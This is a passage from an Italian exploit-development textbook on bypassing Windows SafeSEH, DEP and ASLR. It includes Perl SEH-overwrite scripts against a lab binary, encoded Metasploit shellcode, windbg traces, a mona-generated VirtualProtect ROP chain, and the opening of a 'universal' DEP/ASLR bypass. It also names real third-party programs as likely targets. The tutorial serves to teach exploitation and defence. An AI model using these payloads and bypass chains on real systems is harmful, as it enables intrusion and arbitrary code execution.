004011b9 ff 55 8b ec f6 45 08 02-57 8b f9 74 25 56 68 9a .U...E..W..t%Vh.

004014b1 ff 55 8b ec 81 ec 28 03-00 00 a3 68 31 40 00 89 .U....(....h1@..

004015da ff 55 14 eb ed 8b 45 ec-89 45 e4 8b 45 e4 8b 00 .U....E..E..E...

00401645 ff 55 14 eb f0 c7 45 e4-01 00 00 00 c7 45 fc fe .U....E......E..

0040167e ff 55 8b ec 8b 45 08 8b-00 81 38 63 73 6d e0 75 .U...E....8csm.u

0040177a ff 55 8b ec ff 75 08 e8-4e ff ff ff f7 d8 1b c0 .U...u..N.......

004017f1 ff 55 8b ec 8b 4d 08 b8-4d 5a 00 00 66 39 01 74 .U...M..MZ..f9.t

00401831 ff 55 8b ec 8b 45 08 8b-48 3c 03 c8 0f b7 41 14 .U...E..H<....A.

00401881 ff 55 8b ec 6a fe 68 a8-22 40 00 68 a5 19 40 00 .U..j.h."@.h..@.

004019a6 ff 55 8b ec ff 75 14 ff-75 10 ff 75 0c ff 75 08 .U...u..u..u..u.

004019f9 ff 55 8b ec 83 ec 10 a1-18 30 40 00 83 65 f8 00 [email protected]..

L’indirizzo utile a noi è il 0x00280b0b

0:000> u 0x00280b0b

00280b0b ff5530 call dword ptr [ebp+30h]

00280b0e 0000 add byte ptr [eax],al

00280b10 0000 add byte ptr [eax],al

Allora se noi utilizziamo tale locazione, il controllo safeseh non dovrebbe bloccarci

all’esecuzione. L’importante è che la locazione sia statica.

Purtroppo, così facendo si utilizza una locazione che cambia al variare della versione del

sistema operativo, ad esempio su Xp sp2, l’indirizzo sarà differente.

Utilizzando il generatore di pattern di metasploit troviamo l’offset (trovato 524), poi creiamo

un file di test come il seguente:

--------- safeseh.pl ------------------------

my $buffer="A" x 516;

$buffer=$buffer."BBBB";

$buffer=$buffer."DDDD";

system("windbg C:\\env\\gsvitable\\Release\\safeseh.exe \"$buffer\"\r\n");

--------- safeseh.pl END --------------------

Page 174: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 174 di 193

Al verificarsi dell’eccezione il sistema dovrebbe avvertirvi che l’indirizzo dell’handler non è

valido e questo non dovrebbe venir chiamato.

Ora in seriamo l’indirizzo che abbiamo precedentemente ricercato nei moduli caricati:

--------- safeseh.pl ------------------------

my $buffer="A" x 516;

$buffer=$buffer."\xcc\xcc\xcc\xcc";

$buffer=$buffer.pack('V',0x00280b0b);

system("windbg C:\\env\\gsvitable\\Release\\safeseh.exe \"$buffer\"\r\n");

--------- safeseh.pl END --------------------

Avendo inserito alcuni brakpoint possiamo analizzare con windbg:

0:000> g

(fc4.b60): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=0012fd41 ebx=00000000 ecx=0012fd41 edx=00130000 esi=00000001 edi=004033a0

eip=004010d8 esp=0012fca0 ebp=0012fee4 iopl=0 nv up ei pl nz na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206

safeseh!GetInput+0xd8:

004010d8 8802 mov byte ptr [edx],al ds:0023:00130000=41

0:000> !exchain

0012fed8: 00280b0b

Invalid exception stack at cccccccc

0:000> g

(fc4.b60): Break instruction exception - code 80000003 (first chance)

eax=00000000 ebx=00000000 ecx=00280b0b edx=7c9132bc esi=00000000 edi=00000000

eip=0012fed8 esp=0012f8cc ebp=0012f8f0 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

0012fed8 cc int 3

0:000> d eip

0012fed8 cc cc cc cc 0b 0b 28 00-00 00 00 00 7c ff 12 00 ......(.....|...

0012fee8 96 11 40 00 b1 29 34 00-f4 fe 12 00 41 41 41 41 ..@..)4.....AAAA

0012fef8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

0012ff08 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

0012ff18 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

0012ff28 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

0012ff38 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

0012ff48 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

Come si vede dall’output di windbg noi riusciamo a controllare si next SEH che SEH, e

l’indirizzo utilizzato al posto dell’handler supera i controlli di sicurezza di safeseh.

L’istruzione che viene eseguita è ‘call dword ptr [ebp+30h]’. Osservando il valore di EBP

viene in mente che la shellcode può essere inserita più indietro (verso esp). Anche perché

l’indirizzo dell’istruzione call contiene un byte nullo e nulla può essere scritto al seguito.

Il codice di exploit può essere il seguente:

--------- safeseh.pl -----------------------

my $nops = "\x90" x 25; #25 needed to align shellcode

# windows/exec - 144 bytes

Page 175: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 175 di 193

# http://www.metasploit.com

# Encoder: x86/shikata_ga_nai

# EXITFUNC=seh, CMD=calc

my $shellcode="\xd9\xcb\x31\xc9\xbf\x46\xb7\x8b\x7c\xd9\x74\x24\xf4\xb1" .

"\x1e\x5b\x31\x7b\x18\x03\x7b\x18\x83\xc3\x42\x55\x7e\x80" .

"\xa2\xdd\x81\x79\x32\x55\xc4\x45\xb9\x15\xc2\xcd\xbc\x0a" .

"\x47\x62\xa6\x5f\x07\x5d\xd7\xb4\xf1\x16\xe3\xc1\x03\xc7" .

"\x3a\x16\x9a\xbb\xb8\x56\xe9\xc4\x01\x9c\x1f\xca\x43\xca" .

"\xd4\xf7\x17\x29\x11\x7d\x72\xba\x46\x59\x7d\x56\x1e\x2a" .

"\x71\xe3\x54\x73\x95\xf2\x81\x07\xb9\x7f\x54\xf3\x48\x23" .

"\x73\x07\x89\x83\x4a\xf1\x6d\x6a\xc9\x76\x2b\xa2\x9a\xc9" .

"\xbf\x49\xec\xd5\x12\xc6\x65\xee\xe5\x21\xf6\x2e\x9f\x81" .

"\x91\x5e\xd5\x26\x3d\xf7\x71\xd8\x4b\x09\xd6\xda\xab\x75" .

"\xb9\x48\x57\x7a";

$junk=$nops.$shellcode;

$junk=$junk."\x90" x ($size-length($nops.$shellcode)-5); #5 bytes = length of jmpcode

$junk=$junk."\xe9\x70\xfe\xff\xff"; #jump back 400 bytes

$junk=$junk."\xeb\xf9\xff\xff"; #jump back 7 bytes (nseh)

$junk=$junk.pack('V',0x00280b0b); #seh

print "Payload length : " . length($junk)."\n";

system("C:\\env\\gsvitable\\Release\\safeseh.exe \"$junk\"\r\n");

--------- safeseh.pl END --------------------

- Data Execution Prevention: (Hardware DEP)

Si tratta di una protezione implementata via hardware dal processore. Similmente a Linux, fa in

modo di marcare come non eseguibili tutte le porzioni di memoria che non hanno necessità di

essere interpretate come istruzioni, quindi eseguite.

Quindi dove il processore supporta tale funzionalità, i byte nello stack non possono più essere

eseguiti.

Dipende dalla versione del sistema DEP, ma nelle comuni piattaforme Windows, il sistema DEP

protegge tutti i processi che sono compatibili, quelli che non lo sono vengono inseriti in una

exception list.

Utilizzando “procexp.exe” fornito da sysinternals, possiamo verificare quali processi, nel

nostro sistema, utilizzano DEP. Selezioniamo la colonna che visualizza questa informazione:

E’ possibile vedere il livello DEP impostato su ogni processo: (win 7)

Page 176: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 176 di 193

Bypassare questa protezione sembra difficile. In realtà esistono vari metodi.

Uno di questi è denominato ret2libc. Si tratta però di una tecnica molto limitativa, non fa uso

di shellcode, ma utilizza direttamente funzioni delle librerie, di conseguenza il payload è

costituito solamente da indirizzi di ritorno dalle suddette funzioni e dagli argomenti

sistematicamente posizionati nel buffer.

Invece di utilizzare solamente questo approccio, un’altra tecnica che si basa sulla precedente,

mira a chiamare l’API VirtualProtect().

L’exploit consiste in una prima parte realizzata con la tecnica ret2libc che chiama

VirtualProtect() per abilitare l’esecuzione della locazione di memoria, poi si salta a tale

locazione contenente ovviamente la shellocode.

La chiamata a funzione è così composta:

BOOL WINAPI VirtualProtect(

__in LPVOID lpAddress,

__in SIZE_T dwSize,

__in DWORD flNewProtect,

__out PDWORD lpflOldProtect

);

lpAddress è un puntatore ad un indirizzo che rappresenta il punto di partenza della regione di m

emoria a cui cambiare i permessi di accesso.

dwSize rappresenta la dimensione della regione, quindi quanti byte dopo lpAddress sono coinvolti

. (in realtà vengono considerate le pagine di memoria che costruiscono tale regione)

flNewProtect è l’opzione che specifica la nuova politica di accesso. Dato che noi vogliamo

renderla eseguibile, il parametro PAGE_EXECUTE (0x10).

lpflOldProtect rappresenta lo stato di accesso precedente a quello impostato.

Se la chiamata termina con successo, il valore ritornato è diverso da zero.

Sullo stack come indirizzo di ritorno della funzione dobbiamo impostare una istruzione jmp, che

permetterà di saltare, in qualche modo, alla regione di memoria abilitata all’esecuzione.

Dato che DEP può essere impostato per lavorare in modi differenti, (optin, optout, etc), il

sistema (ntdll) è in grado di disabilitare DEP per ogni processo a runtime. Il settaggio di DEP

è contenuto nella struttura KPROCESS. E’ possibile verificare, modificare tale impostazione

utilizzando l’API NtSetinformationProcess().

La sintassi di questa API è la seguente:

NtSetInformationProcess(

Page 177: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 177 di 193

IN HANDLE ProcessHandle,

IN PROCESS_INFORMATION_CLASS ProcessInformationClass,

IN PVOID ProcessInformation,

IN ULONG ProcessInformationLength

);

Questa costituisce una alternativa a VirtualProtect(). Anche in questo caso si può tentare di

chiamare questa funzione utilizzando la tecnica ret2libc.

I parametri di questa funzione sono:

ProcessHandle rappresenta l’handle del processo (HANDLE)-1

ProcessInformationClass rappresenta il tipo di informazioni che vengono richieste. (0x22)

ProcessInformation è un puntatore all’opzione da abilitare per il processo, anche in questo caso

il valore puntato è 0x2.

ProcessInformationLength è la dimensione. Quindi 4 byte.

Anche in questo caso, l’indirizzo di ritorno deve provvedere ad eseguire un jmp verso la

shellcode caricata in memoria.

- Address Space Layout Randomization:

Tale protezione è stata inserita a partire dalle ultime versioni di Windows, (Windows server

2008 e Windows 7 ma sono inseriti anche nei sistemi precedenti, tramite aggiornamenti service

pack).

Come sapete questa prevede la randomizzazione degli indirizzi di tutti i moduli eseguibili,

dello heap e dello stack dei processi.

Ad ogni avvio del computer, gli indirizzi cambiano valore rendendo inutile qualsiasi exploit che

tiene conto di questi indirizzi. Nel registro di sistema la chiave da modificare è

HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\ Il valore DWORD

“MoveImages”, 0 per off, -1 per on.

I programmi compilati con compilatore Microsoft con il flag /DYNAMICBASE impostato utilizzano

l’ASLR. Per rendersi conto è sufficiente osservare la mappatura degli indirizzi dei moduli

caricati in memoria del processo ad ogni riavvio.

Con immunity debugger è possibile anche utilizzare il comando “!ASLRdynamicbase” per ricavare i

moduli che hanno ASLR abilitato.

Su windows XP sp3 abbiamo:

ASLR /dynamicbase Table

Base Name DLLCharacteristics Enabled?

00400000 safeseh.exe 0x8140 ASLR Aware (/dynamicbase)

7c910000 ntdll.dll 0x0000

7c800000 kernel32.dll 0x0000

78520000 MSVCR90.dll 0x0140 ASLR Aware (/dynamicbase)

In questo caso l’ASLR è attivo per 2 moduli sui 4.

Per mezzo di questi due moduli possiamo bypassare il problema cercando in questi gli indirizzi

che ci occorrono.

Su windows 7 la situazione è diversa:

ASLR /dynamicbase Table

Base Name DLLCharacteristics Enabled?

73e60000 gdiplus.dll 0x0140 ASLR Aware (/dynamicbase)

76420000 kernel32.dll 0x0140 ASLR Aware (/dynamicbase)

76bf0000 msvcrt.dll 0x0140 ASLR Aware (/dynamicbase)

75220000 CRYPTBASE.dll 0x0540 ASLR Aware (/dynamicbase)

Page 178: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 178 di 193

73b40000 dwmapi.dll 0x0140 ASLR Aware (/dynamicbase)

77100000 ntdll.dll 0x0140 ASLR Aware (/dynamicbase)

77260000 sechost.dll 0x0140 ASLR Aware (/dynamicbase)

77250000 LPK.dll 0x0540 ASLR Aware (/dynamicbase)

00e50000 calc.exe 0x8140 ASLR Aware (/dynamicbase)

76d90000 USP10.dll 0x0140 ASLR Aware (/dynamicbase)

76750000 IMM32.DLL 0x0140 ASLR Aware (/dynamicbase)

762c0000 ole32.dll 0x0140 ASLR Aware (/dynamicbase)

766e0000 SHLWAPI.dll 0x0140 ASLR Aware (/dynamicbase)

761f0000 USER32.dll 0x0140 ASLR Aware (/dynamicbase)

739f0000 WindowsCodecs.dll 0x0140 ASLR Aware (/dynamicbase)

...

Anche qui esistono strategie più o meno efficienti per bypassare la protezione.

Il “partial EIP overwrite” è una di queste. Si basa sul fatto che gli indirizzi sono si random,

ma è solo la parte bassa dell’indirizzo che di fatto, cambia. Ad esempio, l’indirizzo 0x22334455

ha parte variabile solo in 2233, mentre la parte alta rimane sempre la stessa ad ogni boot.

Allora ciò che possiamo fare è sovrascrivere solo la parte variabile dell’indirizzo lasciando

invariata la seconda. Allo stesso tempo si deve avere nel range di 255 indirizzi, una istruzione

di salto verso un registro, ad esempio ‘jmp esp’ oppure ‘push esp; ret’. Questo naturalmente

abbassa le probabilità che l’exploit sia sfruttabile.

0x19] (Arch: NT) – Tecniche miste e ROP

Up

Anche su Windows, i progettisti di sistemi operativi hanno dotato le loro creazioni di sistemi

di sicurezza che cercano di limitare le possibilità dell’attaccante nel caso questo identifichi

falle nei programmi o nel sistema operativo stesso.

Protezioni come DEP e ASLR, insieme, rendono inutilizzabili tutti gli exploit visti fino ad ora

eccetto casi particolari dove questi utilizzano tecniche sofisticate e miste fra loro.

Come su Linux, queste tecniche richiedono grandi capacità, e conoscenze approfondite sulla

struttura interna della memoria di un processo. Probabilmente richiede una conoscenza pari a

quella che hanno gli stessi progettisti dei sistemi di sicurezza. Non è infatti completamente

errato dire che hacker e progettisti di sistemi come PaX collaborano fra loro e in certi casi si

tratta delle stesse persone.

Ora vedremo, basandoci su una piattaforma Windows, le possibili tecniche in grado di bypassare

le moderne protezioni. Principalmente anche qui si tratterà di inserire codice ROP, ovvero

“Return-oriented-programming”. In grado di riutilizzare il codice statico presente nei processi

richiamandolo dagli indirizzi virtuali posti sullo stack. In questo modo si risolve il problema

principale, ovvero quello dello stack non eseguibile.

La difficoltà di questa tecnica sta nella difficoltà che si può incontrare nella ricerca dei

gadget di codice opportuni. Abbiamo già visto i metodi con cui questi possono essere cercati

manualmente, ma naturalmente questa procedura può essere automatizzata con un algoritmo Galileo,

implementandolo in un script perl.

Intanto cominciamo a dire che il sistema DEP può essere attivo in modalità diverse:

- OptIn, Soltanto un limitato set di moduli sono protetti con DEP.

- OptOut, Tutti i processi e servizi di windows sono protetti, eccetto quelli presenti nella

lista di eccezioni.

- AlwaysOn, equivalente a OptOut ma senza eccezioni.

- AlwaysOff, DEP non è attivo, tutti i processi non sono protetti.

In aggiunta a queste modalità Microsoft ne aggiunge un’altra chiamata “Permanent DEP”, nella

quale viene utilizzata la chiamata “SetProcessDEPPolicy(PROCESS_DEP_ENABLE)”. La sintassi della

Page 179: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 179 di 193

chiamata è la seguente:

BOOL WINAPI SetProcessDEPPolicy(

__in DWORD dwFlags

);

Con i possibili valori per dwFlags:

0: Disabilita DEP.

PROCESS_DEP_ENABLED [0x00000001]: Abilità DEP in modo permanente sul processo corrente. Non può

più essere disabilitato per il processo.

PROCESS_DEP_DISABLE_ATL_THUNK_EMULATION [0x00000002]: Disabilita l’emulazione DEP-ATL per il

processo corrente.

Il default è dipendente dalla versione di Windows:

- Win XP SP2, SP3, Vista SP0: OptIn

- Win Vista SP1: OptIn + Permanent DEP

- Win 7: OptIn + Permanent DEP

- Win Server 2003 SP1 and up: OptIn

- Win Server 2008 and up: OptOut + Permanent DEP

Il programma bcdedit.exe è in grado di modificare tali configurazioni.

Quali sono allora le reali possibilità che abbiamo in questi casi? DEP rappresenta in effetti

una formidabile soluzione che ci complica la vita non poco.

Sta di fatto che con sistemi DEP e ASLR assieme nessun exploit è possibile a meno di trovare

moduli senza ASLR. Normalmente questo è fattibile, in quanto molti software di terze parti non

utilizzano queste tecnologie o comunque non le utilizzano assieme.

Apriamo ProcessExplorer.exe su Windows 7 per renderci conto di questo scenario. Tutti i processi

di sistema hanno DEP+ASLR attivi, DEP permanente.

Ma ci sono anche processi di programmi di terze parti configurati diversamente. Questi sono oggi

le minacce reali per i sistemi Microsoft. Sicuramente stiamo assistendo, proprio per questo

motivo, allo spostamento degli attacchi verso programmi server e di sistema ai programmi per il

WEB. O meglio, ai browser e a tutto ciò che gira attorno a questi.

Se pensiamo ad esempio ai plug-in dei vari browser WEB, questi molto spesso possono essere di

terze parti e altrettanto di frequente non hanno protezioni efficaci come gli altri processi. Se

in questi moduli venissero identificati bachi legati alla gestione di url o altro, allora

diventa possibile sfruttarli per eseguire codice arbitrario.

Con ProcessExplorer.exe diamo uno sguardo ai processi a rischio.

Notiamo che sono diversi, quasi tutti quelli di terze parti non possiedono protezioni adeguate

ad impedire attacchi.

Tra questi si possono anche trovare software aventi moduli che comunicano attraverso internet.

Questo rende vulnerabile il nostro sistema dall’esterno.

Ad esempio il programma Skype risulta essere privo sia di ASLR che di DEP.

Come si sa, Skype ci consente di comunicare via internet. Se si trovasse un modo per eseguire

codice dalla sua immagine si potrebbe sfruttare il bug per accedere.

Un altro esempio è il programma TmProxy.exe di Trend.

I dettagli del programma fanno pensare che esso è ipoteticamente adatto ad un attacco, dato che

è in ascolto su un socket di rete e non ha nè DEP né ASLR attivi:

Page 180: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 180 di 193

Comunque, noi sappiamo anche che bypassare protezioni che contano solo su DEP è possibile con

una semplice ROP.

Riepilogando, le situazioni possibili tra le varie configurazioni DEP / ASLR sono:

- No ASLR:

L’exploit richiede si sviluppi un payload ROP utilizzando indirizzi che arrivano da qualsiasi

modulo.

- Uno o più moduli non hanno l’ASLR attivo:

Devono essere sfruttati i moduli presenti che non hanno ASLR attivo. Questo però il più delle

volte significa sviluppare l’intero exploit come ROP. A volte questo risulta impossibile, altre

volte è molto difficile.

- Tutti i moduli hanno ASLR attivo:

Questa situazione il più delle volte impedisce lo sfruttamento della vulnerabilità. A volte è

però possibile sfruttare qualche debolezza del sistema per scoprire l’indirizzo di qualche

modulo e utilizzare il codice di questo per realizzare una shellcode ROP in modo dinamico.

Ad ogni modo, la tecnica ROP su Windows può avere un obiettivo diverso che su Linux. Ovvero

possiamo pensare di rendere eseguibile una porzione di memoria, quella che contiene il nostro

codice, ed eseguirlo.

La shellcode a questo punto può essere “classica”. L’exploit sarà così composto da una prima

parte ROP, che ha il compito di rendere parte dello stack eseguibile o allocare nuova memoria

con accesso read/write/execute e poi saltando a questa, eseguire una shellcode.

Le funzioni che permettono queste operazioni sono le seguenti:

- VirtualAlloc(MEM_COMMIT + PAGE_READWRITE_EXECUTE) + copy memory. Questa procedura ci permette

di creare una nuova regione di memoria eseguibile.

- HeapCreate(HEAP_CREATE_ENABLE_EXECUTE)+ HeapAlloc() + copy memory. Anche in questo caso

creiamo una nuova regione di memoria utilizzando l’heap.

- SetProcessDEPPolicy(). Ci permette di cambiare l’impostazione di DEP per il processo corrente

(ma solo quando questo è in modalità OptIn o OptOut solamente)

- NtSetInformationProcess(). Questa cambierà la politica del sistema DEP per il processo.

- VirtualProtect(PAGE_READ_WRITE_EXECUTE). Questa cambierà il tipo di accesso per il processo.

- WriteProcessMemory(). Questa serve per copiare la nostra schellcode in una regione di memoria,

decidendo il tipo di accesso che avrà.

Page 181: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 181 di 193

L’approccio con il quale i parametri vengono piazzati sullo stack è diverso, perché dobbiamo

pensare che stiamo ragionando sull’istruzione ‘ret’ e le operazioni che svolge quando essa viene

chiamata. L’aspetto dello stack sovrascritto avrà circa la configurazione seguente:

junk

rop gadgets to craft the stack

function pointer

function parameter

function parameter

function parameter

---

Maybe some more rop gadgets

nops

shellcode

More data on the stack

ESP ->

Relativamente all’ambiente abbiamo le seguenti possibilità di chiamata:

API/OS XP SP2 XP SP3 Vista SP0 Vista SP1 Windows 7 Win 2003 SP1 Win 2008

VirtualAlloc Si Si Si Si Si Si Si

HeapCreate Si Si Si Si Si Si Si

SetProcessDEPPolicy No(1) Si No(1) Si No(2) No(1) Si

NtSetInformationProcess Si Si Si No(2) No(2) Si No(2)

VirtualProtect Si Si Si Si Si Si Si

WriteProcessMemory Si Si Si Si Si Si Si

1 = non esiste

2 = fallirà date le impostazioni default di permanent DEP

Il metodo più portabile è VirtualProtect().

Uno dei compiti essenziali, è sicuramente la ricerca dei gadgets. Nei capitoli precedenti

abbiamo visto come farlo manualmente su Linux. Su Windows la cosa non cambia. Qualsiasi modulo

caricato in memoria può essere utilizzato per cercare gadgets validi per i nostri scopi,

l’importante è che questo sia statico.

Una cosa molto utile è affrontare questo lavoro con un apposito tool. Molti sono quelli

disponibili in rete.

Per un esempio ci soffermiamo sullo script mona.py scritto da “Corelan team”.

Questo può essere utilizzato all’interno di Immunity debugger come per pvefindaddr.py

L’opzione ‘rop’ di mona è in grado di cercare all’interno di uno o più moduli, i gadgets utili

per la realizzazione di exploit ROP. Ma non solo.

Mona classifica questi gadgets in classi e suggerisce quelli migliori da utilizzare. Inoltre

tenta di costruire in modo automatico l’intera catena di gadgets per chiamare la funzione

VirtualProtect(), ovvero quella più frequentemente utilizzata.

Una volta caricato lo script avviamo con il debugger di Immunity un programma adatto all’esempio

ed utilizziamo mona in questo modo:

!mona rop -m ‘imgengine,DTCommonRes,Engine,DTLite,DTLiteUI’ –n

Analizzando l’eseguibile ‘DTLite.exe’, un semplice programma che carica le immagini “.iso” dei

Page 182: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 182 di 193

cd-rom, otteniamo un output simile al seguente:

---------- Mona command started on 2011-07-20 09:25:40 ----------

0BADF00D [+] Processing arguments and criteria

0BADF00D - Pointer access level : X

0BADF00D - Ignoring pointers that have null bytes

0BADF00D - Only querying modules "imgengine,DTCommonRes,Engine,DTLite,DTLiteUI"

0BADF00D [+] Generating module info table, hang on...

0BADF00D - Processing modules

0BADF00D - Done. Let's rock 'n roll.

0BADF00D [+] Preparing log file '_rop_progress_DTLite.exe_000010b4.log'

0BADF00D - (Re)setting logfile _rop_progress_DTLite.exe_000010b4.log

0BADF00D [+] Progress will be written to _rop_progress_DTLite.exe_000010b4.log

0BADF00D [+] Maximum offset : 40

0BADF00D [+] (Minimum/optional maximum) stackpivot distance : 8

0BADF00D [+] Max nr of instructions : 6

0BADF00D [+] Split output into module rop files ? False

0BADF00D [+] Enumerating 22 endings in 5 module(s)...

0BADF00D - Querying module DTLite.exe

0BADF00D !Skipped search of range 00475000-004ae000 (Has nulls)

0BADF00D !Skipped search of range 0046b000-00475000 (Has nulls)

0BADF00D !Skipped search of range 00401000-00418000 (Has nulls)

0BADF00D - Querying module Engine.dll

0BADF00D - Querying module DTLiteUI.dll

0BADF00D !Skipped search of range 001d1000-001f2000 (Has nulls)

0BADF00D - Querying module DTCommonRes.dll

0BADF00D - Querying module imgengine.dll

0BADF00D - Search complete :

0BADF00D Ending : RETN 1C, Nr found : 18

0BADF00D Ending : RETN 02, Nr found : 8

0BADF00D Ending : RETN 0C, Nr found : 153

0BADF00D Ending : RETN, Nr found : 7922

0BADF00D Ending : RETN 0A, Nr found : 1

0BADF00D Ending : RETN 04, Nr found : 333

0BADF00D Ending : RETN 06, Nr found : 2

0BADF00D Ending : RETN 14, Nr found : 27

0BADF00D Ending : RETN 00, Nr found : 12

0BADF00D Ending : RETN 12, Nr found : 1

0BADF00D Ending : RETN 28, Nr found : 2

0BADF00D Ending : RETN 10, Nr found : 110

0BADF00D Ending : RETN 24, Nr found : 5

0BADF00D Ending : RETN 08, Nr found : 293

0BADF00D Ending : RETN 18, Nr found : 27

0BADF00D - Filtering and mutating 8914 gadgets

0BADF00D - Progress update : 1000 / 8914 items processed (Wed 2011/07/20 09:25:46 AM) - (11%)

0BADF00D - Progress update : 2000 / 8914 items processed (Wed 2011/07/20 09:25:50 AM) - (22%)

0BADF00D - Progress update : 3000 / 8914 items processed (Wed 2011/07/20 09:25:54 AM) - (33%)

0BADF00D - Progress update : 4000 / 8914 items processed (Wed 2011/07/20 09:25:58 AM) - (44%)

0BADF00D - Progress update : 5000 / 8914 items processed (Wed 2011/07/20 09:26:02 AM) - (56%)

0BADF00D - Progress update : 6000 / 8914 items processed (Wed 2011/07/20 09:26:07 AM) - (67%)

0BADF00D - Progress update : 7000 / 8914 items processed (Wed 2011/07/20 09:26:11 AM) - (78%)

0BADF00D - Progress update : 8000 / 8914 items processed (Wed 2011/07/20 09:26:16 AM) - (89%)

0BADF00D - Progress update : 8914 / 8914 items processed (Wed 2011/07/20 09:26:21 AM) - (100%)

0BADF00D [+] Preparing log file 'rop_virtualprotect.txt'

0BADF00D - (Re)setting logfile rop_virtualprotect.txt

0BADF00D [+] Preparing log file 'ropfunc.txt'

0BADF00D - (Re)setting logfile ropfunc.txt

0BADF00D [+] Preparing log file 'ropfunc.txt'

0BADF00D - (Re)setting logfile ropfunc.txt

VirtualProtect register structure (PUSHAD technique)

----------------------------------------------------

EAX = NOP (0x90909090)

Page 183: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 183 di 193

ECX = lpOldProtect (Writable ptr)

EDX = NewProtect (0x40)

EBX = Size

ESP = lPAddress (automatic)

EBP = ReturnTo (ptr to jmp esp - run '!mona jmp -r esp -n -o')

ESI = ptr to VirtualProtect()

EDI = ROP NOP (RETN)

VirtualProtect() 'pushad' rop chain

------------------------------------

rop_gadgets =

[

0x018b9f08, # POP EDX # RETN (Engine.dll)

0x????????, # <- ptr to ptr to VirtualProtect()

0x014dcebf, # MOV ESI,DWORD PTR DS:[EDX] # RETN (imgengine.dll)

0x01490803, # POP EBP # RETN (imgengine.dll)

0x017d589c, # ptr to 'jmp esp' (from Engine.dll)

0x014d7482, # POP EAX # RETN (imgengine.dll)

0xfffffdff, # value to negate, target value : 0x00000201, target reg : ebx

0x01701734, # NEG EAX # RETN (Engine.dll)

0x01505938, # XOR EBX,EAX # RETN (imgengine.dll)

0x014efd02, # POP ECX # RETN (imgengine.dll)

0x014b0101, # RW pointer (lpOldProtect) (-> ecx)

0x0183ca81, # POP EDI # RETN (Engine.dll)

0x0183ca82, # ROP NOP (-> edi)

0x014d7482, # POP EAX # RETN (imgengine.dll)

0xffffffc0, # value to negate, target value : 0x00000040, target reg : edx

0x01701734, # NEG EAX # RETN (Engine.dll)

0x018252c5, # ADC EDX,EAX # RETN (Engine.dll)

0x014d7482, # POP EAX # RETN (imgengine.dll)

0x90909090, # NOPS (-> eax)

0x018e1042, # PUSHAD # RETN (Engine.dll)

# rop chain generated by mona.py

# note : this chain may not work out of the box

# you may have to change order or fix some gadgets,

# but it should give you a head start

].pack("V*")

0BADF00D

0BADF00D [+] Preparing log file 'stackpivot.txt'

0BADF00D - (Re)setting logfile stackpivot.txt

0BADF00D

0BADF00D [+] Writing stackpivots to file stackpivot.txt (1509 pivots)

0BADF00D [+] Preparing log file 'rop_suggestions.txt'

0BADF00D - (Re)setting logfile rop_suggestions.txt

0BADF00D [+] Writing suggestions to file rop_suggestions.txt

0BADF00D [+] Preparing log file 'rop.txt'

0BADF00D - (Re)setting logfile rop.txt

0BADF00D [+] Writing results to file rop.txt (7431 interesting gadgets)

0BADF00D Done

0BADF00D Action took 0:01:08.016000

Come vedete i risultati sono salvati in diversi file di testo.

All’interno del file ‘rop_suggestions.txt’ sono presenti centinaia di gadgets che mona ha

trovato all’interno dei moduli specificati e classificato come ideali per la produzione della

catena ROP. Lo splendido lavoro di mona non è solo questo. Come vedete sia dal log che dal file

‘rop_virtualprotect.txt’, mona è in grado di abbozzare già lo schema per chiamare l’API

VirtualProtect(). Ci resta solo fare i complimenti al Corelan Team per questo eccellente lavoro.

Il problema di questi tipi di exploit è che sono fortemente dipendenti da come il sistema

Page 184: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 184 di 193

operativo è stato configurato. Non è più possibile scrivere exploit portatili al livello visto

in precedenza dove il codice riconosceva il sistema operativo e agiva di conseguenza. Ora i

nostri sforzi devono essere indirizzati a scrivere codice dedicato ad un particolare sistema

operativo con un livello di aggiornamento specifico, in questo modo abbiamo i medesimi gadget ai

medesimi indirizzi.

Anche se molto recentemente è stato trovato un nuovo modo, a quanto pare universale, per

bypassare i sistemi DEP e ASLR nello stesso tempo. Questo stratagemma è efficace la dove sono

presenti moduli statici in memoria. La seguente è la catena ROP ideate e ritenuta valida per

bypassare DEP e ASLR in molteplici occasioni.

#+-------- --- -

#| White Phosphorus Exploit Pack Sayonara ASLR DEP Bypass Technique

#| Code

#+--

from struct import pack

def wp_sayonaraASLRDEPBypass(size=1000):

# White Phosphorus

# Sayonara Universal ASLR + DEP bypass for Windows [2003/XP/Vista/7]

#

